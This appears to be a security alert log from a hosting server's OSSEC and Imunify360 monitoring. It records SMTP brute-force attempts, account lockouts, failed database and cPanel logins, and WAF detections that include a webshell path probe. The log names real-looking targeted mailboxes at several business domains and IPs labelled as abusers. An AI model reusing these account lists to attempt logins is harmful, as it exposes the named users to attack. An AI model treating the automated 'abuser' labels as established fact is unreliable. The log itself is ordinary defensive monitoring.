name: Exim Auth failed
abuser: 216.132.40.46
country_id: 6252001
description:
2026-02-02 06:59:21 dovecot_login authenticator failed for H=([127.0.0.1]) [216.132.40.46]:38141: 535 Incorrect authentication data (set_id=chewkc)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 07:00:51 dovecot_login authenticator failed for H=(MBxrPfjs) [165.154.217.204]:54854: 535 Incorrect authentication data (set_id=intercessors)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-02-02 07:00:05 dovecot_login authenticator failed for H=(glBfL27KG) [185.230.124.69]:61345: 535 Incorrect authentication data (set_id=darren)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 07:00:13 dovecot_login authenticator failed for H=(OMfQ02Bf0) [165.154.217.204]:65300: 535 Incorrect authentication data (set_id=intercessors)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.52.139
country_id: 2921044
description:
Feb  2 07:00:18 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account martina@essemgroup.net has been locked for the attacker IP 178.16.52.139


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-02 07:00:14 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:36184: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-02 07:00:33 dovecot_login authenticator failed for H=(IVYkdlr2o) [158.94.208.175]:50373: 535 Incorrect authentication data (set_id=munch)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 186.250.209.65
country_id: 3469034
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-detail.php?id=900301 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-02 07:00:20 dovecot_login authenticator failed for H=(jaKNXRArqy) [178.16.52.139]:65306: 535 Incorrect authentication data (set_id=martina@essemgroup.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-02 07:00:29 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:57699: 535 Incorrect authentication data (set_id=admin@oxbold.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-02 07:01:03 dovecot_login authenticator failed for H=(OzV7sq8GFQ) [158.94.208.175]:62650: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-02 07:01:27 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:51547: 535 Incorrect authentication data (set_id=admin@oxbold.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-02 07:01:45 dovecot_login authenticator failed for H=(YgHIcfP) [178.16.52.139]:51677: 535 Incorrect authentication data (set_id=martina@essemgroup.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 07:01:09 dovecot_login authenticator failed for H=(z3m5WcGUrX) [165.154.217.204]:57880: 535 Incorrect authentication data (set_id=intercessors)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.52.139
country_id: 2921044
description:
Feb  2 07:01:43 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account martina@essemgroup.net has been locked for the attacker IP 178.16.52.139


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-02-02 07:01:08 dovecot_login authenticator failed for H=(n6vmFHDcF9) [185.230.124.69]:62361: 535 Incorrect authentication data (set_id=darren)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-02-02 07:01:48 dovecot_login authenticator failed for H=(LOne7T) [178.16.54.138]:55430: 535 Incorrect authentication data (set_id=francis@aire-fresh.com)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Feb  2 07:01:51 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account darren has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.52.139
country_id: 2921044
description:
Feb  2 07:02:12 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account martina@essemgroup.net has been locked for the attacker IP 178.16.52.139


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-02-02 07:02:13 dovecot_login authenticator failed for H=(dDRRzLsfl) [185.230.124.69]:63166: 535 Incorrect authentication data (set_id=darren)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-02 07:02:23 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:52840: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 85.236.186.137
country_id: 2017370
description:
2026-02-02 07:02:25 dovecot_login authenticator failed for H=(p186-137.samaralan.ru) [85.236.186.137]:47748: 535 Incorrect authentication data (set_id=kitty.yap)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 8.243.166.66
country_id: 3686110
description:
2026-02-02 07:03:02 dovecot_login authenticator failed for H=([8.243.166.66]) [8.243.166.66]:4501: 535 Incorrect authentication data (set_id=support@dsc-expat.com)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 167.148.167.71
country_id: 6252001
description:
2026-02-02 07:02:24 H=([167.148.167.71]) [167.148.167.71]:56792 F=<Server@symphony-led.com> rejected RCPT <joseph@symphony-led.com>: smtp auth required


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-02 07:02:07 dovecot_login authenticator failed for H=(KlScKyoDak) [158.94.208.175]:63457: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 07:02:07 dovecot_login authenticator failed for H=(muNl5heH) [165.154.217.204]:49927: 535 Incorrect authentication data (set_id=intercessors)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Feb  2 07:02:11 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account darren has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 152.52.199.126
country_id: 1269750
description:
2026-02-02 07:02:13 dovecot_login authenticator failed for H=([182.79.31.107]) [152.52.199.126]:42476: 535 Incorrect authentication data (set_id=kitty.yap@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-02 07:02:14 dovecot_login authenticator failed for H=(DkbgS1yHf) [178.16.52.139]:60766: 535 Incorrect authentication data (set_id=martina@essemgroup.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-02 07:02:35 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:64089: 535 Incorrect authentication data (set_id=admin@oxbold.com)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 07:02:11 dovecot_login authenticator failed for H=(bdnBfqbsB) [165.154.217.204]:50481: 535 Incorrect authentication data (set_id=prayerlink)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 165.154.217.204
country_id: 1880251
description:
Feb  2 07:02:27 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account prayerlink has been locked for the attacker IP 165.154.217.204


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-02-02 07:02:59 dovecot_login authenticator failed for H=(KVzAyenz) [178.16.54.138]:57327: 535 Incorrect authentication data (set_id=francis@aire-fresh.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-02-02 07:03:14 dovecot_login authenticator failed for H=(mIEqhE) [185.230.124.69]:64817: 535 Incorrect authentication data (set_id=darren)


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 185.242.3.111
country_id: 2750405
description:
2026-02-02  7:04:01 273372 [Warning] Aborted connection 273372 to db: 'unconnected' user: 'unauthenticated' host: '185.242.3.111' (This connection closed normally without authentication)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 07:03:03 dovecot_login authenticator failed for H=(AbtrLp) [165.154.217.204]:56428: 535 Incorrect authentication data (set_id=intercessors)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-02 07:03:06 dovecot_login authenticator failed for H=(5ZuLs7Yv) [158.94.208.175]:61286: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-02 07:03:16 dovecot_login authenticator failed for H=(qWukncV) [178.16.52.139]:60874: 535 Incorrect authentication data (set_id=martina@essemgroup.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 41.220.3.101
country_id: 226074
description:
2026-02-02 07:03:15 dovecot_login authenticator failed for H=([41.220.3.113]) [41.220.3.101]:30560: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 07:03:44 dovecot_login authenticator failed for H=(KzR55WN7) [165.154.217.204]:60788: 535 Incorrect authentication data (set_id=prayerlink)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 165.154.217.204
country_id: 1880251
description:
Feb  2 07:03:04 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account prayerlink has been locked for the attacker IP 165.154.217.204


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 185.192.69.5
country_id: 2635167
description:
2026-02-02  7:03:04 273348 [Warning] Aborted connection 273348 to db: 'unconnected' user: 'unauthenticated' host: '185.192.69.5' (This connection closed normally without authentication)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Feb  2 07:03:12 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account darren has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.52.139
country_id: 2921044
description:
Feb  2 07:03:14 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account martina@essemgroup.net has been locked for the attacker IP 178.16.52.139


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-02 07:03:38 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:59899: 535 Incorrect authentication data (set_id=admin@oxbold.com)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 07:05:00 dovecot_login authenticator failed for H=(m5Q9GOBS) [165.154.217.204]:52698: 535 Incorrect authentication data (set_id=intercessors)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-02-02 07:04:03 dovecot_login authenticator failed for H=(PrzWdgqd) [178.16.54.138]:56438: 535 Incorrect authentication data (set_id=francis@aire-fresh.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 07:04:03 dovecot_login authenticator failed for H=(lpsLmnDsu) [165.154.217.204]:62834: 535 Incorrect authentication data (set_id=central)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-02-02 07:04:13 dovecot_login authenticator failed for H=(J3Hjy2g2hG) [185.230.124.69]:55783: 535 Incorrect authentication data (set_id=darren)


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 185.242.3.111
country_id: 2750405
description:
2026-02-02  7:04:19 273381 [Warning] Aborted connection 273381 to db: 'unconnected' user: 'unauthenticated' host: '185.242.3.111' (This connection closed normally without authentication)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-02 07:04:39 dovecot_login authenticator failed for H=(eD3FWZ4dMn) [158.94.208.175]:57350: 535 Incorrect authentication data (set_id=munch)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.155.44
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/index.php/img/druma_photos/index.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 165.154.217.204
country_id: 1880251
description:
Feb  2 07:04:21 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account prayerlink has been locked for the attacker IP 165.154.217.204


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 161.248.113.160
country_id: 1861060
description:
2026-02-02 07:04:38 dovecot_plain authenticator failed for H=(l2atthw9gmwl0s5ibgig) [161.248.113.160]:41148: 535 Incorrect authentication data (set_id=export@urban.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-02 07:04:40 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:62853: 535 Incorrect authentication data (set_id=admin@oxbold.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-02 07:04:13 dovecot_login authenticator failed for H=(KcRlX6cD) [178.16.52.139]:55884: 535 Incorrect authentication data (set_id=martina@essemgroup.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-02 07:04:32 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:40374: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Feb  2 07:04:11 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account darren has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Feb  2 07:05:10 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account darren has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-02-02 07:05:11 dovecot_login authenticator failed for H=(6XS8qyMk) [178.16.54.138]:55362: 535 Incorrect authentication data (set_id=francis@aire-fresh.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 07:05:19 dovecot_login authenticator failed for H=(uSjRJ5QWc) [165.154.217.204]:54825: 535 Incorrect authentication data (set_id=intercessors)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-02 07:05:45 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:58052: 535 Incorrect authentication data (set_id=admin@oxbold.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-02-02 07:05:12 dovecot_login authenticator failed for H=(MjwHdQh) [185.230.124.69]:52592: 535 Incorrect authentication data (set_id=darren)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-02 07:05:13 dovecot_login authenticator failed for H=(mCqjgvvhCx) [178.16.52.139]:53957: 535 Incorrect authentication data (set_id=martina@essemgroup.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-02 07:05:13 dovecot_login authenticator failed for H=(FJQEbut) [158.94.208.175]:57065: 535 Incorrect authentication data (set_id=munch)


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 185.216.143.50
country_id: 2750405
domain: www.mssa.org.my
description:
IM360 WAF: Found crawler not in whitelist||RSV:7.71||T:APACHE||RA:185.216.143.50||TA:185.216.143.50||


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 165.154.217.204
country_id: 1880251
description:
Feb  2 07:05:17 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account prayerlink has been locked for the attacker IP 165.154.217.204


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Feb  2 07:06:11 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account darren has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 165.154.217.204
country_id: 1880251
description:
Feb  2 07:06:13 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account prayerlink has been locked for the attacker IP 165.154.217.204


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-02 07:06:15 dovecot_login authenticator failed for H=(7Wuy2BN) [158.94.208.175]:62201: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-02 07:06:21 dovecot_login authenticator failed for H=(jjdgH7F9RS) [178.16.52.139]:54190: 535 Incorrect authentication data (set_id=martina@essemgroup.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 177.19.165.90
country_id: 3469034
description:
2026-02-02 07:06:30 dovecot_login authenticator failed for H=(secovi-rs.pae.gvt.net.br) [177.19.165.90]:58216: 535 Incorrect authentication data (set_id=marketing)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 07:06:35 dovecot_login authenticator failed for H=(esiBlm7z) [165.154.217.204]:62881: 535 Incorrect authentication data (set_id=prayerlink)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.0.36.122
country_id: 1210997
description:
2026-02-02 07:06:35 dovecot_login authenticator failed for H=([49.0.36.122]) [49.0.36.122]:54876: 535 Incorrect authentication data (set_id=kitty.yap@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-02 07:06:38 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:53513: 535 Incorrect authentication data (set_id=admin@oxbold.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.66.214.34
country_id: 1269750
description:
2026-02-02 07:06:44 dovecot_login authenticator failed for H=(nsg-corporate-78.223.187.122.airtel.in) [182.66.214.34]:59642: 535 Incorrect authentication data (set_id=admin@euratech.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-02 07:06:45 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:33880: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-02-02 07:06:13 dovecot_login authenticator failed for H=(iKMeuK1) [178.16.54.138]:58945: 535 Incorrect authentication data (set_id=francis@aire-fresh.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 176.172.239.193
country_id: 3017382
description:
2026-02-02 07:06:46 dovecot_login authenticator failed for H=sed08-h03-176-172-239-193.dsl.sta.abo.bbox.fr [176.172.239.193]:49163: 535 Incorrect authentication data (set_id=kitty.yap)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-02-02 07:06:13 dovecot_login authenticator failed for H=(YJSfNYjry) [185.230.124.69]:63489: 535 Incorrect authentication data (set_id=darren)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 07:06:15 dovecot_login authenticator failed for H=(1YZJ5fq9) [165.154.217.204]:60933: 535 Incorrect authentication data (set_id=central)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.124.152.242
country_id: 1733045
description:
2026-02-02 07:06:16 dovecot_login authenticator failed for H=([49.124.152.242]) [49.124.152.242]:36782: 535 Incorrect authentication data (set_id=marketing@smartcable.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 154.144.255.210
country_id: 2542007
description:
2026-02-02 07:06:52 dovecot_login authenticator failed for H=([154.144.255.210]) [154.144.255.210]:37944: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.61.87.70
country_id: 1814991
description:
2026-02-02 07:07:29 dovecot_login authenticator failed for H=([111.61.87.70]) [111.61.87.70]:36460: 535 Incorrect authentication data (set_id=admin@acburn.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-02 07:07:12 dovecot_login authenticator failed for H=(2IZwYyA6P) [158.94.208.175]:64937: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-02-02 07:07:15 dovecot_login authenticator failed for H=(NfGwPWw) [185.230.124.69]:57709: 535 Incorrect authentication data (set_id=darren)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-02 07:07:22 dovecot_login authenticator failed for H=(kEHM0NG) [178.16.52.139]:56327: 535 Incorrect authentication data (set_id=martina@essemgroup.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-02 07:07:28 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:63007: 535 Incorrect authentication data (set_id=admin@oxbold.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.18.148.10
country_id: 1814991
description:
2026-02-02 07:07:31 dovecot_login authenticator failed for H=(hebei.18.121.in-addr.arpa) [121.18.148.10]:40464: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 221.165.172.38
country_id: 1835841
description:
2026-02-02 07:07:55 dovecot_login authenticator failed for H=([221.165.172.38]) [221.165.172.38]:38088: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 07:07:12 dovecot_login authenticator failed for H=(oO6eTXoohr) [165.154.217.204]:50193: 535 Incorrect authentication data (set_id=central)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 106.245.142.83
country_id: 1835841
description:
2026-02-02 07:07:13 dovecot_login authenticator failed for H=([106.245.142.83]) [106.245.142.83]:21974: 535 Incorrect authentication data (set_id=info@essemgroup.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-02-02 07:07:19 dovecot_login authenticator failed for H=(8m1QWfz) [178.16.54.138]:50144: 535 Incorrect authentication data (set_id=francis@aire-fresh.com)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 165.154.217.204
country_id: 1880251
description:
Feb  2 07:07:30 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account intercessors has been locked for the attacker IP 165.154.217.204


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 185.204.54.153
country_id: 6252001
description:
[2026-02-02 07:07:10 +0800] info [cpaneld] 185.204.54.153 - liam "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user liam (has_cpuser_file failed)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 27.13.29.44
country_id: 1814991
description:
2026-02-02 07:08:24 dovecot_login authenticator failed for H=([127.0.0.1]) [27.13.29.44]:37226: 535 Incorrect authentication data (set_id=jessieteoh@essemgroup.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-02 07:08:26 dovecot_login authenticator failed for H=(Rm2PrS) [178.16.52.139]:65277: 535 Incorrect authentication data (set_id=martina@essemgroup.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-02 07:08:55 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:40842: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.232.173.9
country_id: 1562822
domain: nobledec.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/nobledec.com/product.php?id=31&page_id=3&sub=86 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 165.154.217.204
country_id: 1880251
description:
Feb  2 07:08:06 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account intercessors has been locked for the attacker IP 165.154.217.204


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 07:08:08 dovecot_login authenticator failed for H=(q4ZGTI0t) [165.154.217.204]:55654: 535 Incorrect authentication data (set_id=intercessors)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 07:08:08 dovecot_login authenticator failed for H=(0jIvs8) [165.154.217.204]:55653: 535 Incorrect authentication data (set_id=central)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-02 07:08:21 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:56562: 535 Incorrect authentication data (set_id=admin@oxbold.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 194.237.70.143
country_id: 2661886
description:
2026-02-02 07:08:31 dovecot_login authenticator failed for H=([127.0.0.1]) [194.237.70.143]:58148: 535 Incorrect authentication data (set_id=jessieteoh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-02 07:08:47 dovecot_login authenticator failed for H=(aAubA5bx81) [158.94.208.175]:53647: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-02-02 07:08:17 dovecot_login authenticator failed for H=(RPBmBw) [185.230.124.69]:60578: 535 Incorrect authentication data (set_id=darren)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-02-02 07:08:35 dovecot_login authenticator failed for H=(sZafSM3c) [158.94.208.215]:49483: 535 Incorrect authentication data (set_id=kendek)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 165.154.217.204
country_id: 1880251
description:
Feb  2 07:09:03 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account intercessors has been locked for the attacker IP 165.154.217.204


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-02 07:09:13 dovecot_login authenticator failed for H=(Mf2OzT) [178.16.52.139]:59654: 535 Incorrect authentication data (set_id=martina@essemgroup.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-02 07:09:14 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:50470: 535 Incorrect authentication data (set_id=admin@oxbold.com)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.52.139
country_id: 2921044
description:
Feb  2 07:09:52 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account martina@essemgroup.net has been locked for the attacker IP 178.16.52.139


plugin: ossec
